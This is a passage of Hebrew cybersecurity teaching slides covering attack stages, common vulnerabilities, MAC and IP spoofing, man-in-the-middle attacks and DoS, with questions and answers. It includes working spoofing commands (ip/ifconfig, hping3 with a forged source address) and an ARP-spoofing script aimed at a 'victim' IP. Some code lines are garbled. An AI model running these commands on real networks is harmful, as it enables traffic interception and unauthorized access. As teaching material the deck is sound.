- SSH Hijacking: השתלטות על חיבורי SSH פעילים כדי לגשת למערכות נוספות.
- דוגמאות:
- Pass-the-Hash: שימוש במידע hashed של סיסמאות כדי להתחבר למערכות אחרות.
- Remote Desktop Protocol (RDP): ניצול חיבורי רשת מרוחקים לגישה למערכות נוספות.

שלב 7: יציאה Exfiltration and Covering Tracks

- שלב 7: יציאה Exfiltration and Covering Tracks
- בשלב זה, התוקף מעביר את המידע שהשיג מחוץ לרשת היעד ומכסה את עקבותיו כדי למנוע זיהוי.
- סיפור:
- אחרי שאספת את המידע הרגיש, אתה מעביר אותו לשרת חיצוני באמצעות פרוטוקול מוצפן, ולאחר מכן מוחק את כל העקבות שלך מהמחשבים שבהם השתמשת.

- Data Encryption: הצפנת המידע המועבר כדי למנוע זיהוי וזיוף.
- Anti-Forensic Tools: כלים שנועדו להסתיר או למחוק עקבות דיגיטליות, כמו מחיקת קבצים עם נתונים אקראיים.
- דוגמאות:
- Data Exfiltration: העברת מידע רגיש מחוץ לרשת היעד.
- Log Deletion: מחיקת יומני רישום כדי להקשות על איתור הפעילות.

שלבי ביצוע תקיפה (תשובות)

• המשך – שלבי ביצוע תקיפה (תשובות)

1. כל שלב בתהליך התקיפה הוא קריטי להצלחת התוקף, אך ישנם שלבים שממש בולטים בחשיבותם:
- א. איסוף מודיעין: ללא מידע ראשוני על היעד, התוקף לא יוכל לדעת כיצד לגשת אליו או אילו פגיעויות קיימות.
- ב. גישה ראשונית: זהו השלב שבו התוקף מצליח לפרוץ לראשונה למערכת היעד. אם השלב הזה נכשל, כל התקיפה נכשלת.
- ג. השגת אחיזה: לאחר קבלת גישה, התוקף חייב להבטיח שהוא יכול לשמור על הגישה הזו ולהישאר בלתי נראה ככל האפשר.
- ד. הסלמת הרשאות: השגת הרשאות גבוהות יותר מאפשרת לתוקף שליטה רחבה יותר על המערכת ויכולת לבצע פעולות נוספות מבלי להיתקל במגבלות.
- איסוף מודיעין: שלב זה קובע את היכולת של התוקף לדעת בדיוק היכן ואיך לתקוף. איסוף מודיעין איכותי יכול להקל על מציאת פגיעויות ומטרות.
- סריקה: מאפשר לתוקף לדעת בדיוק אילו שירותים פועלים ואילו פגיעויות קיימות במערכת היעד, מה שמגדיל את הסיכויים למצוא נקודת כניסה.
- גישה ראשונית: הצלחה בגישה הראשונית היא קריטית; בלעדיה התוקף לא יוכל להמשיך לשלב הבא. גישה ראשונית מוצלחת יכולה גם לקבוע את רמת הנראות של התוקף.
- השגת אחיזה: תוקף שמצליח להשיג אחיזה יציבה במערכת יכול להמשיך לפעול ולבצע פעולות נוספות מבלי להיחשף.
- הסלמת הרשאות: מאפשרת לתוקף לשלוט על יותר משאבים במערכת ולבצע פעולות רגישות יותר.
- תנועה רוחבית: משפרת את הגישה של התוקף למערכות נוספות ומאפשרת לו להגיע למידע רגיש או לשבש פעולות נוספות.
- יציאה: שלב זה משפיע על יכולתו של התוקף להימנע מגילוי ועל היכולת להוציא מידע מחוץ למערכת.
- איסוף מודיעין: כלים לזיהוי פעילות מודיעינית כמו ניטור רשתות חברתיות ומערכות ניטור איומים Threat Intelligence
- סריקה: שימוש בכלי IDS/IPS לזיהוי סריקות רשת ומניעתן.
- גישה ראשונית: שימוש באנטי וירוס, חומות אש וניהול גישה מבוסס תפקידים RBAC כדי להגן על המערכות.
- השגת אחיזה: ניהול עדכונים ושימוש בכלי EDR לזיהוי תוכנות זדוניות.

- הסלמת הרשאות: שימוש בכלי SIEM לניטור פעילות חריגה וניהול פגיעויות.
- תנועה רוחבית: ניהול רשתות ושימוש ב-segmentation כדי להגביל את היכולת לנוע בין מערכות.
- יציאה: הצפנת מידע, ניטור יציאת מידע ותיעוד לוגים כדי למנוע העברת מידע רגיש ולהבטיח תגובה מהירה למקרי חשד.

מבוא לפרצות אבטחה

- מבוא לפרצות אבטחה

• פרצות אבטחה הן נקודות חולשה במערכת מחשוב, רשת, או תוכנה שיכולות להיות מנוצלות על ידי תוקפים כדי לבצע פעולות זדוניות. הפרצות יכולות לנבוע מבעיות בקוד, תצורות לא נכונות, או חולשות אנושיות. נבחן מספר סוגים נפוצים של פרצות אבטחה.

- סוגי פרצות אבטחה עיקריים:

1. Buffer Overflow

2. SQL Injection

3. Cross-Site Scripting (XSS)

4. Cross-Site Request Forgery (CSRF)

5. Privilege Escalation

6. Zero-Day Vulnerabilities

7. Man-in-the-Middle (MitM) Attack

1. גלישת חוצץ - Buffer Overflow

- 1. גלישת חוצץ - Buffer Overflow

• הסבר

• Buffer Overflow מתרחש כאשר תוכנה כותבת יותר נתונים ממה שהחוצץ buffer יכול להכיל. זה גורם לנתונים להישפך לחלקים אחרים בזיכרון, מה שמאפשר לתוקף להחליף את הקוד הזדוני שלו בקוד לגיטימי.

• סיפור

• תאר לעצמך שאתה עובד בחברה שמפתחת תוכנה לניהול מאגרי מידע. אחד המפתחים כתב פונקציה שלא מגבילה את אורך הקלט של המשתמש. תוקף מגלה את החולשה הזו ושולח קלט ארוך במיוחד שגורם לגלישת חוצץ. התוקף מצליח להחדיר קוד זדוני שמאפשר לו גישה בלתי מורשית לנתונים הרגישים של החברה.

• דוגמאות

• פונקציות קלט לא מוגבלות: פונקציות כמו gets() בשפת C שלא מגבילות את אורך הקלט.

• ניצול: שימוש בקוד הרץ בזיכרון הלא מוגן לביצוע פעולות זדוניות.

2. הזרקת SQL - SQL Injection

• 2. הזרקת SQL - SQL Injection

• הסבר

• SQL Injection מתרחש כאשר תוקף מצליח להחדיר פקודות SQL זדוניות לקלט שמשמש ליצירת שאילתות למסד הנתונים. זה מאפשר לתוקף לקרוא, לשנות או למחוק נתונים במסד הנתונים.

• סיפור

• נניח שאתה מנהל אתר מסחר אלקטרוני. באתר יש שדה חיפוש שמאפשר ללקוחות לחפש מוצרים. התוקף מגלה שהקלט מהשדה הזה עובר ישירות לשאילתת SQL חללא כל סינון. התוקף מזין קוד SQL זדוני במקום מילות חיפוש, ומצליח לשלוף את כל פרטי הלקוחות שלך ממסד הנתונים.

• דוגמאות

• קלט לא מסונן: הכנסת קוד SQL זדוני לשדות קלט כמו טפסי חיפוש או כניסה.

• ניצול: שינוי שאילתות SQL כדי לגשת למידע רגיש או לבצע שינויים במערכת.

3. Cross-Site Scripting (XSS)

• 3. Cross-Site Scripting (XSS)

• הסבר

• XSS מתרחש כאשר תוקף מצליח להחדיר קוד זדוני בדרך כלל JavaScript לאתר שמוצג למשתמשים אחרים. הקוד רץ בדפדפן של המשתמשים ויכול לגנוב נתונים או לבצע פעולות ללא ידיעת המשתמש.

• סיפור

• אתה מנהל פורום אינטרנטי שמאפשר למשתמשים לפרסם הודעות. התוקף מפרסם הודעה שמכילה קוד JavaScript זדוני. כשמשמשים אחרים קוראים את ההודעה, הקוד רץ בדפדפן שלהם וגונב את קובצי ה-cookie שלהם, מה שמאפשר לתוקף לגשת לחשבונות שלהם.

• דוגמאות

• קלט לא מסונן: הכנסת קוד זדוני לשדות קלט שמוצגים למשתמשים אחרים.

• ניצול: גניבת נתוני משתמשים או ביצוע פעולות בשמם.

4. Cross-Site Request Forgery (CSRF)

• 4. Cross-Site Request Forgery (CSRF)

• הסבר

• CSRF מתרחש כאשר תוקף משכנע משתמש לבצע פעולה לא רצויה באתר שהוא מחובר אליו, מבלי ידיעת המשתמש. התוקף מנצל את האמינות שהאתר נותן למשתמש.

• סיפור

- נניח שאתה משתמש באתר בנקאות מקוונת. התוקף שולח לך קישור באימייל או בהודעה שמבצע העברה כספית מחשבונך לחשבוננו של התוקף. כאשר אתה לוחץ על הקישור, הפעולה מתבצעת כי אתה כבר מחובר לאתר הבנק.
- דוגמאות

- קישורים זדוניים: שליחת קישורים למשתמשים שמבצעים פעולות באתרי אינטרנט.
- ניצול: ביצוע פעולות ללא ידיעת המשתמש באתר שהוא מחובר אליו.

5. Privilege Escalation (הסלמת הרשאות)

- 5. Privilege Escalation (הסלמת הרשאות)

- הסבר

- Privilege Escalation מתרחש כאשר תוקף מצליח להשיג הרשאות גבוהות יותר ממה שהוא אמור לקבל. זה מאפשר לתוקף לבצע פעולות רגישות במערכת.

- סיפור

- אתה עובד בארגון גדול ומחזיק בהרשאות מוגבלות במערכת. אתה מגלה פרצה שמאפשרת לך לנצל באג בתוכנה ולהפוך למנהל מערכת Admin כעת יש לך גישה לכל הנתונים והמשאבים של הארגון.

- דוגמאות

- ניצול תצורות שגויות: שימוש בתצורות שגויות במערכת להשגת הרשאות גבוהות.
- ניצול פגיעויות: שימוש בפגיעויות בקוד להשגת הרשאות גבוהות יותר.

6. Zero-Day Vulnerabilities פגיעויות יום אפס)

- 6. Zero-Day Vulnerabilities פגיעויות יום אפס)

- הסבר

- Zero-Day Vulnerabilities הן פגיעויות שלא היו ידועות למפתחי התוכנה או למשתמשים עד שהתגלו ונוצלו על ידי תוקפים. בגלל שהפגיעות חדשה, אין עדיין תיקון או עדכון זמין.

- סיפור

- תאר לעצמך שאתה מפתח תוכנה פופולרית. התוקף מגלה באג בקוד שלך שמאפשר לו לקבל גישה בלתי מורשית למערכת, לפני שידעת על קיומו של הבאג ויכולת לתקן אותו. בזמן שאתה מתחיל לעבוד על תיקון, התוקף כבר מנצל את הפגיעות לפגיעה במשתמשים שלך.

- דוגמאות

- ניצול פגיעויות חדשות: שימוש בבאגים חדשים לפני שהתפרסמו תיקונים.
- Zero-Day Attacks: התקפות שמבוצעות מייד עם גילוי הפגיעות.

7. Man-in-the-Middle (MitM) Attack (התקפת אדם בתווך)

- 7. Man-in-the-Middle (MitM) Attack (התקפת אדם בתווך)

- הסבר

- MITM מתרחש כאשר תוקף מצליח להתמקם בין שני צדדים מתקשרים וליירט או לשנות את התקשורת ביניהם מבלי שידעו.

- סיפור

- נניח שאתה מתחבר לרשת Wi-Fi ציבורית בבית קפה. התוקף מתחבר לאותה רשת ומעמיד פני נתב אינטרנטי. כל התקשורת שלך עוברת דרך התוקף, והוא יכול לראות או לשנות את המידע שאתה שולח ומקבל.

- דוגמאות

- Fake Wi-Fi Access Points: הצבת נקודות גישה מזויפות ליירוט תקשורת.

- Packet Sniffing: שימוש בכלים ליירוט וקריאת תעבורת רשת.

שאלות - סוגי פרצות אבטחה

- שאלות – סוגי פרצות אבטחה

זיוף כתובת (MAC Spoofing) MAC

- זיוף כתובת (MAC Spoofing) MAC

- כתובת ה-MAC (Media Access Control) היא מזהה ייחודי שמוקצה לכל כרטיס רשת ברמת החומרה. זיוף כתובת MAC הוא תהליך שבו תוקף משנה את כתובת ה-MAC של כרטיס הרשת שלו לכתובת MAC אחרת, כדי להטעות את מערכת הרשת.

זיוף כתובת MAC

- המשך – זיוף כתובת MAC

- יתרונות של זיוף כתובת MAC:

- עקיפת בקרת גישה: אם הרשת משתמשת בסינון כתובות MAC כדי לאפשר גישה למכשירים מסוימים בלבד, ניתן להשתמש בזיוף כתובת MAC כדי להתחבר לרשת.

- התחזות למכשיר אחר: ניתן לזייף כתובת MAC כדי להיראות כמו מכשיר לגיטימי, לדוגמה, כדי להתחבר לרשת מוגבלת.

- חסרונות של זיוף כתובת MAC:

- הגבלה ברמת התקשורת: זיוף כתובת MAC עובד בעיקר ברשתות מקומיות LAN ולא ברשתות רחבות יותר כמו האינטרנט.

- גילוי ותגובה: ישנם כלים וטכניקות שיכולים לזהות זיוף כתובת MAC כמו ניתוח תעבורה או ניטור של התנהגות חשודה ברשת.

- מניעת זיוף כתובת MAC:

- אבטחת רשת עם 802.1X: פרוטוקול אבטחה שמבצע אימות של מכשירים המחוברים לרשת על פי פרטי המשתמש ולא רק כתובת ה-MAC

- סינון כתובת MAC: שמירה על רשימה של כתובת MAC מותרות והגבלת גישה רק למכשירים ברשימה זו.

זיוף כתובת MAC - "התחזות למכונה המועדפת"

- זיוף כתובת MAC – "התחזות למכונה המועדפת"

- רקע:

- חברת סטארטאפ טכנולוגית גדולה רכשה מערכת ניהול רשת מתקדמת עם מערכת אבטחה מתקדמת. אחת מהמדיניות שהוגדרה היא הגבלה של גישה לרשתות Wi-Fi באמצעות סינון כתובות MAC כתובות MAC של מכשירים מורשים בלבד יכולות להתחבר לרשת, מה שמונע גישה בלתי מורשית.

- התקפה:

- אחד מהעובדים, ברק, עמד בפני פרויקט חשוב שהצריך ממנו גישה למערכת פנימית אבל הרשת הפנימית הייתה נגישה רק למכונות המיועדות עם כתובת MAC מסוימת. ברק גילה שהוא יכול לשנות את כתובת ה-MAC של כרטיס הרשת שלו לכתובת של מכונה אחרת על ידי פקודות "ifconfig" או "ip" במערכת הלינוקס שהוא השתמש בה.

- תוצאה:

- התקפה זו חשפה את החולשה במערכת סינון כתובות MAC שגרמה לבעיות אבטחה ברשת. החברה למדה את הלקח ויישמה פתרונות אבטחה נוספים כמו 802.1X כדי לחזק את אבטחת הרשת.

זיוף כתובת MAC הלכה למעשה

- זיוף כתובת MAC הלכה למעשה

- שימוש ב Linux עם ifconfig או עם ip:

- שלב 1: הכנה

- לפני שמבצעים שינוי בכתובת ה-MAC יש צורך להוריד את הממשק מהרשת.

- במערכת הפעלה Linux

- פתיחת טרמינל: פתח את הטרמינל במערכת שלך.

- כיבוי הכרטיס: הקלד את הפקודה

```
sudo ip link set dev <interface> down
```

- החלף את <interface> שם של כרטיס הרשת שלך, לדוגמא: eth1 או wlan1 (במקום 1 יכול להיות גם 0)

- שינוי כתובת MAC: הקלד את הפקודה

```
sudo ip link set dev <interface> address <new_mac_address>
```

- עכשיו החלף את <interface> לכתובת החדשה שאתה רוצה ליתן שהיא <new_mac_address>

- הפעלת הכרטיס מחדש: הקלד את הפקודה

```
sudo ip link set dev <interface> up
```

- אימות השינוי: הקלד את הפקודה

- `<ip addr show <interface`

- המשך - זיוף כתובת MAC הלכה למעשה

- דוגמא:

- נניח שהממשק שלנו הוא eth0 וכתובת ה-MAC החדשה שאנחנו רוצים להגדיר היא 00:11:22:33:44:55

- נשתמש ב- `ifconfig`

- דבר ראשון אנו נכבה את הפורט

```
sudo ifconfig eth0 down
```

- דבר שני אנו נשנה את כתובת ה-MAC

```
sudo ifconfig eth0 hw ether 00:11:22:33:44:55
```

- דבר שלישי אנו נפעיל את הפורט מחדש

```
sudo ifconfig eth0 up
```

- נשתמש ב- `ip`

```
sudo ip link set dev eth0 down
```

```
sudo ip link set dev eth0 address 00:11:22:33:44:55
```

```
sudo ip link set dev eth0 up
```

זיוף כתובת - MAC שאלות

- המשך - זיוף כתובת - MAC שאלות

- 1. מה היתרונות והסכנות של זיוף כתובת MAC ?

- 2. כיצד ניתן לזהות זיוף כתובת MAC ברשת?

- 3. איזה מידע צריך לדעת לפני שמבצעים שינוי בכתובת MAC ?

- 4. מהם השימושים החוקיים של שינוי כתובת MAC?

זיוף כתובת - MAC תשובה

- המשך - זיוף כתובת - MAC תשובה

- נחלק את התשובה לכמה חלקים:

- תחילה נבדוק שאני root משום שרק root יכול לבצע כאלו שינויים.

```
if [[ $EUID -ne 0 ]]; then
```


• `echo "This script must be run as root"`

• `exit 1`

• הקוד הזה בודק אם הסקריפט רץ כ-`root` , אם לא, הוא מדפיס הודעה ומפסיק את הריצה.

• קבלת קלט מהמשתמש

• `read -p "Enter the network interface (e.g., eth0, wlan0): " interface`

• `read -p "Enter the new MAC address (e.g., 00:11:22:33:44:55): " new_mac`

• הקוד הזה מקבל את שם כרטיס הרשת וכתובת ה-`MAC` החדשה מהמשתמש.

• כיבוי כרטיס הרשת

• `ifconfig $interface down`

• הקוד הזה מכבה את כרטיס הרשת.

• שינוי כתובת ה-`MAC`

• `ifconfig $interface hw ether $new_mac`

• הקוד הזה משנה את כתובת ה-`MAC` של כרטיס הרשת.

• הפעלת כרטיס הרשת מחדש

• `ifconfig $interface up`

• הקוד הזה מפעיל את כרטיס הרשת מחדש.

• הצגת כתובת ה-`MAC` החדשה

• `echo "The MAC address for $interface has been changed to $new_mac"`

• הקוד הזה מדפיס למשתמש את כתובת ה-`MAC` החדשה.

• ובסוף הסקריפט יראה כך:

• `then ;[[EUID -ne 0$]]`

זיוף כתובת (IP Spoofing)

• זיוף כתובת (IP Spoofing)

• כתובת IP היא מזהה ייחודי שניתן למכשירים ברשת כדי לאפשר להם לתקשר עם מכשירים אחרים. זיוף כתובת IP הוא תהליך שבו תוקף שולח מנות מידע עם כתובת IP מזויפת שמיועדת להטעות את השרתים או את מכשירים אחרים ברשת.

זיוף כתובת IP

• המשך – זיוף כתובת IP

- יתרונות של זיוף כתובת IP:
- התחזות: ניתן לזייף כתובת IP כדי להיראות כמו מיקום גאוגרפי שונה או כמכשיר לגיטימי במטרה לעקוף מגבלות גישה או חסימות.
- הסתרת מקור התקפה: זיוף כתובת IP יכול להסתיר את מקור ההתקפה או את הזהות של התוקף.
- חסרונות של זיוף כתובת IP:
- הגנה נגד התקפות: מערכות אבטחה רבות, כולל חומות אש ופתרונות SIEM מסוגלות לגלות פעילות חשודה המתרחשת עקב זיוף כתובת IP
- חוסר עקביות: תוקף המנסה לזייף כתובת IP עלול להיתקל בקשיים אם יש צורך בקשרים חוזרים עם השרת, כמו בשירותים שדורשים אימות.
- מניעת זיוף כתובת IP:
- אימות אוטנטיקציה: מערכות שמבצעות אימות על פי פרטי משתמש או מפתחות חכמים, במקום לסמוך רק על כתובת ה-IP
- פילטרים ופתרונות אנטי-זיוף: התקנה של מערכות שמנטרות ותופסות פעילות בלתי רגילה או ניסיונות זיוף כתובת IP

זיוף כתובת - IP "התקפת DDoS מסורבת"

- זיוף כתובת - IP "התקפת DDoS מסורבת"
- רקע:
- חברת אונליין גדולה ניהלה אתר מסחר אלקטרוני עם מיליוני מבקרים ביום. האתר היה מוגן בחומת אש מתקדמת, אך התגלה כי ישנם פגיעויות ברמת כתובת ה-IP, תקיפות DDoS היו מסוכנות במיוחד עבורם.
- התקפה:
- קבוצה של תוקפים החליטה להפעיל התקפת DDoS על האתר על ידי זיוף כתובת IP הם יצרו רשת רחבה של מחשבים שנשלטו מרחוק והשתמשו בהם לשלוח בקשות רבות לאתר. כדי להסתיר את מקור ההתקפה ולמנוע את מעקב אחריהם, התוקפים זייפו את כתובת ה-IP בכל חבילת מידע שנשלחה.
- תוצאה:
- התקפה זו גרמה לירידה דרסטית בביצועי האתר ולבעיות זמינות. החברה השקיעה הרבה מאמצים כדי לשדרג את הגנות האתר ולהטמיע פתרונות כמו אנליזה של תעבורה עם כלים מתקדמים כדי לזהות ולחסום ניסיונות זיוף כתובת IP

זיוף כתובת IP הלכה למעשה

- זיוף כתובת IP הלכה למעשה
- שלבים לזיוף כתובת IP
- שלב 1: פתיחת טרמינל (או שורת פקודה)
- במערכת הפעלה Linux או macOS מפתח את הטרמינל.

- במערכת הפעלה Windows פתח את שורת הפקודה עם הרשאות מנהל CMD

- שלב 2: שימוש בכלי זיוף כתובת IP:

- נשתמש בכלי שנקרא hping3 שהוא כלי גמיש מאוד לזיוף חבילות רשת, אמנם תחילה צריך להתקין אותו על המחשב

- שלב 3: התקנת hping3 במערכת Linux

```
sudo apt-get install hping3
```

- שלב 4: שליחת חבילה עם כתובת IP מזויפת

```
sudo hping3 -a 192.168.1.100 -c 1 -d 120 -S -p 80 192.168.1.101
```

- שלב 5: בדיקת תוצאות: תוכל להשתמש בכלי כמו Wireshark כדי לראות את החבילות שנשלחו ולוודא שכתובת ה-IP המזויפת היא כפי שנדרש.

- המשך - זיוף כתובת IP הלכה למעשה

- ביאור השורה:

- a 192.168.1.100: זאת הכתובת IP המזויפת.

- c 1: מספר החבילות לשלוח במקרה הזה אחת.

- d 120: גודל החבילה.

- S: שולח חבילת SYN

- p 80: פורט היעד.

- 192.168.1.101: הכתובת IP של היעד.

זיוף כתובת IP - שאלות

- המשך - זיוף כתובת IP - שאלות

- 1. מהם הסיכונים בזיוף כתובת IP ?

- 2. כיצד ניתן לזהות זיוף כתובת IP ברשת?

- 3. מהם הכלים המשמשים לזיוף כתובת IP ?

- 4. כיצד ניתן להגן על הרשת מפני זיוף כתובת IP ?

זיוף כתובת IP - שאלה

- המשך - זיוף כתובת IP - שאלה

- שאלה: כתיבת סקריפט Bash לזיוף כתובת IP ושער ברירת מחדל

• כתבו סקריפט ב-Bash שמשנה את כתובת ה-IP של כרטיס רשת מסוים ומשנה גם את שער ברירת המחדל Default Gateway הסקריפט צריך לקבל כקלט את שם כרטיס הרשת, כתובת ה-IP החדשה, ומידע על שער ברירת המחדל

• דרישות:

- הסקריפט צריך לקבל מהמשתמש את שם כרטיס הרשת כמו eth0 או wlan0
- הסקריפט צריך לקבל מהמשתמש את כתובת ה-IP החדשה ל- 192.168.1.100
- הסקריפט צריך לקבל מהמשתמש את שער ברירת המחדל ל- 192.168.1.1
- הסקריפט צריך לוודא שהמשתמש הוא root או בעל הרשאות מנהל.
- הסקריפט צריך לשנות את כתובת ה-IP של כרטיס הרשת ושער ברירת המחדל בצורה בטוחה.

זיוף כתובת - IP תשובה

- המשך - זיוף כתובת - IP תשובה
- התשובה דומה מאוד לתשובה עם כתובת ה-MAC אמנם ישנו שינוי קטן:
if [[\$EUID -ne 0]]; then
"echo "This script must be run as root
exit 1
read -p "Enter the network interface (e.g., eth0, wlan0): " interface
read -p "Enter the new IP address (e.g., 192.168.1.100): " new_ip
read -p "Enter the default gateway (e.g., 192.168.1.1): " gateway
ifconfig \$interface down
ifconfig \$interface \$new_ip
route add default gw \$gateway \$interface
ifconfig \$interface up
"echo "The IP address for \$interface has been changed to \$new_ip
"echo "The default gateway for \$interface has been changed to \$gateway
• נסביר את השורות הצהובות:
• שינוי שער ברירת המחדל
• הקוד הזה משנה את שער ברירת המחדל של כרטיס הרשת.
• קבלת קלט מהמשתמש
• קוד הזה מקבל את שער ברירת המחדל מהמשתמש.

מהי התקפת אמצע?

- מהי התקפת אמצע?
- התקפת אמצע היא סוג של התקפה במהלכה התוקף מתמקם בין שני צדדים מתקשרים ומשיג גישה למידע המועבר ביניהם מבלי שהם מודעים לכך. התוקף יכול לצפות, ליירט, לשנות ואף לזייף את התקשורת בין הצדדים.
- דוגמאות להמחשה
- נניח שיש לנו את אליס ובוב שמתקשרים ביניהם. הם שולחים הודעות זה לזה ואינם יודעים שקרול, התוקפת, נמצאת באמצע ומאזינה או משנה את ההודעות המועברות.

התקפת אמצע

- המשך – התקפת אמצע
- שלבים בהתקפת אמצע:
- יירוט התקשורת: התוקף מתמקם באמצע התקשורת באמצעות טכניקות שונות כמו ARP Spoofing או DNS Spoofing
- יירוט המידע: התוקף מקבל את המידע המועבר, יכול לשמור אותו לעצמו, לשנות אותו או להעבירו הלאה מבלי שהצדדים המתקשרים ישימו לב לכך.
- שינוי התקשורת: התוקף יכול לשנות את המידע המועבר בין הצדדים, למשל לשנות מספר חשבון בנק בהעברה בנקאית.
- התחזות: התוקף יכול להתחזות לצד אחד מהתקשורת מול הצד השני, כך שכל הודעה שתישלח אליו תגיע למעשה לתוקף.
- דוגמה אמיתית: התקפת אמצע ברשת Wi-Fi ציבורית
- סיפור נפוץ הוא התקפת אמצע ברשתות Wi-Fi ציבוריות כמו בבתי קפה. נניח שדן יושב בבית קפה ומשתמש ברשת ה-Wi-Fi כדי לגשת לחשבון הבנק שלו. התוקף, יוסי, מחובר גם הוא לאותה רשת Wi-Fi ומבצע התקפת אמצע.
- יוסי יכול להשתמש בכלים כמו Wireshark או Ettercap כדי ליירט את התקשורת של דן עם הבנק, ולהשיג מידע רגיש כמו סיסמאות או פרטי חשבון בנק.
- הגנות מפני התקפת אמצע
- הצפנת תקשורת: TLS/SSL שימוש בהצפנה מבטיח שגם אם התוקף יירט את התקשורת, הוא לא יוכל לפענח את המידע המוצפן.
- אימות דו שלבי: שימוש באימות דו שלבי מוסיף שכבת אבטחה נוספת שמקשה על התוקף לגנוב זהות.
- VPN שימוש ב-VPN מצפין את התקשורת ומקשה על התוקף ליירט או לשנות את התעבורה.
- הימנעות מרשתות ציבוריות לא מאובטחות: אם אין ברירה אלא להשתמש ברשת ציבורית, כדאי להימנע מגישה למידע רגיש כמו חשבונות בנק או סיסמאות.

סוגי התקפות אמצע נוספות

- סוגי התקפות אמצע נוספות

- 1. ARP Spoofing (ARP Poisoning)

- מה זה? ARP הוא פרוטוקול הממפה כתובות IP לכתובות MAC ברשת מקומית LAN. בהתקפת ARP Spoofing התוקף שולח הודעות ARP מזויפות ברשת המקומית כדי לשייך את כתובת ה-IP של הקורבן לכתובת ה-MAC של התוקף.

- איך זה עובד? ברגע שהנתבים והמחשבים ברשת מאמינים שהכתובת ה-IP של הקורבן משויכת לכתובת ה-MAC של התוקף, כל התעבורה המיועדת לקורבן מגיעה לתוקף.

- דוגמה:

- אם ברשת יש מחשבים של אליס ובוב, והתוקף קרול רוצה ליירט את התקשורת ביניהם, קרול שולחת הודעות ARP מזויפות לאליס ובוב כך שהם מאמינים שהכתובת ה-IP של בוב משויכת לכתובת ה-MAC של קרול ולהפך. כך כל התקשורת ביניהם עוברת דרך קרול.

סוגי התקפות אמצע נוספות - טכניקות מתקדמות יותר

- סוגי התקפות אמצע נוספות - טכניקות מתקדמות יותר

- 3. SSL Stripping

- מה זה? היא טכניקה בה התוקף מסיר את ההצפנה של חיבור HTTPS מאובטח והופך אותו לחיבור HTTP לא מאובטח.

- איך זה עובד? התוקף מתערב בתקשורת בין המשתמש לאתר ובמקום להעביר את הבקשה לאתר HTTPS התוקף מעביר את הבקשה לאתר HTTP המשתמש אינו שם לב לשינוי, והתוקף יכול ליירט ולשנות את התקשורת.

- דוגמה:

- המשתמש מנסה לגשת לאתר בנק באמצעות HTTPS התוקף משנה את הכתובת ל-HTTP ומעביר את המידע הלא מוצפן לשרת של התוקף. התוקף יכול כעת לראות ולשנות את התעבורה.

- 4. Wi-Fi Pineapple

- מה זה? הוא כלי שמאפשר לבצע התקפות אמצע על רשתות Wi-Fi הוא נבנה כדי לבדוק את האבטחה של רשתות אלחוטיות, אך תוקפים יכולים להשתמש בו למטרות זדוניות.

- איך זה עובד? הכלי מתחזה לנקודת גישה אלחוטית תמימה (כמו רשת Wi-Fi בבית קפה), וברגע שמשתמשים מתחברים אליו, הכלי יכול ליירט ולשנות את התקשורת שלהם.

- תוקף מציב Wi-Fi Pineapple בבית קפה עם שם רשת זהה לרשת המקומית. כאשר משתמשים מתחברים לרשת של התוקף, הוא יכול ליירט את כל התעבורה שלהם.

התקפת אמצע - שאלות

- התקפת אמצע - שאלות

- 1. מהי התקפת אמצע ומה הם שלביה המרכזיים?

- 2. מהן השיטות השונות להגן על עצמנו מפני התקפת אמצע?
- 3. תן דוגמה להתקפת אמצע ברשת Wi-Fi ציבורית.
- 4. כיצד הצפנת התקשורת באמצעות TLS/SSL יכולה למנוע התקפת אמצע?

התקפת אמצע - תשובות

• התקפת אמצע - תשובות

- 1. התקפת אמצע היא סוג של התקפה במהלכה התוקף מתמקם בין שני צדדים מתקשרים ומשיג גישה למידע המועבר ביניהם מבלי שהם מודעים לכך. השלבים המרכזיים כוללים יירוט התקשורת, יירוט המידע, שינוי התקשורת והתחזות.
- 2. הצפנת תקשורת TLS/SSL אימות דו שלבי, ועל ידי שימוש ב- VPN והימנעות מרשתות ציבוריות לא מאובטחות.
- 3. יוסי מחובר לרשת Wi-Fi בבית קפה ומבצע התקפת אמצע על דן, שגם הוא מחובר לאותה רשת. יוסי יכול ליירט את התקשורת של דן עם הבנק ולהשיג מידע רגיש כמו סיסמאות או פרטי חשבון בנק.
- 4. הצפנת התקשורת מבטיחה שגם אם התוקף יירט את התקשורת, הוא לא יוכל לפענח את המידע המוצפן.

התקפת אמצע - שאלות חלק ב'

• התקפת אמצע – שאלות חלק ב'

- 1. מה ההבדל בין ARP Spoofing ל-DNS Spoofing ?
- 2. כיצד SSL Stripping מסכן את המשתמשים?
- 3. כיצד ניתן להגן על עצמך מפני התקפת DNS Spoofing ?
- 4. מה היתרון של שימוש ב-Wi-Fi Pineapple לתוקף?

התקפת אמצע - שאלת קוד

• התקפת אמצע – שאלת קוד

- כתוב סקריפט ב-Bash שמבצע התקפת ARP Spoofing באמצעות כלי arpspoof, הסקריפט צריך להפנות את כל התעבורה מהמחשב של הקורבן דרך המחשב של התוקף לנתב.

• כתובת ה-IP של הנתב

• "GATEWAY_IP="192.168.1.1"

• כתובת ה-IP של הקורבן

• "VICTIM_IP="192.168.1.100"

• ממשק הרשת

• "INTERFACE="eth0"

- הפעלת arpspoof לזייף את ה-ARP בין הקורבן לנתב

• `arp spoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP`

• נסביר על הקוד בשקופית הבאה..

• המשך - התקפת אמצע – שאלת קוד

• `"VICTIM_IP="192.168.1.100`

• `GATEWAY_IP`: כתובת ה-IP של הנתב.

• `VICTIM_IP`: כתובת ה-IP של הקורבן.

• `INTERFACE`: ממשק הרשת בו תתבצע ההתקפה כמו `eth0`

• הרצת `arp spoof`:

• הפקודה `arp spoof` עם האפשרויות הבאות:

• 1. `-i $INTERFACE`: מציין את ממשק הרשת.

• 2. `-t $VICTIM_IP`: מציין את כתובת ה-IP של הקורבן.

• 3. `$GATEWAY_IP`: מציין את כתובת ה-IP של הנתב.

מהי התקפת מניעת שירות DoS

• מהי התקפת מניעת שירות DoS

• התקפת מניעת שירות: DoS (Denial of Service) היא ניסיון להשבית או להאט את שירותי המחשב או השרת כך שהם לא יהיו זמינים למשתמשים החוקיים. זה יכול להתרחש בדרכים רבות, אך בדרך כלל הוא כולל הצפת השרת או הרשת בבקשות שגוזלות את המשאבים שלו, או ניצול חולשות במערכת.

התקפת מניעת שירות

• המשך – התקפת מניעת שירות

• סוגים עיקריים של התקפות DoS

• התקפת DoS מבוססת על רשת:

• 1. Flooding Attack: הצפה של השרת או הרשת בכמות עצומה של תעבורה כדי למנוע מהמשאבים להיענות לבקשות חוקיות.

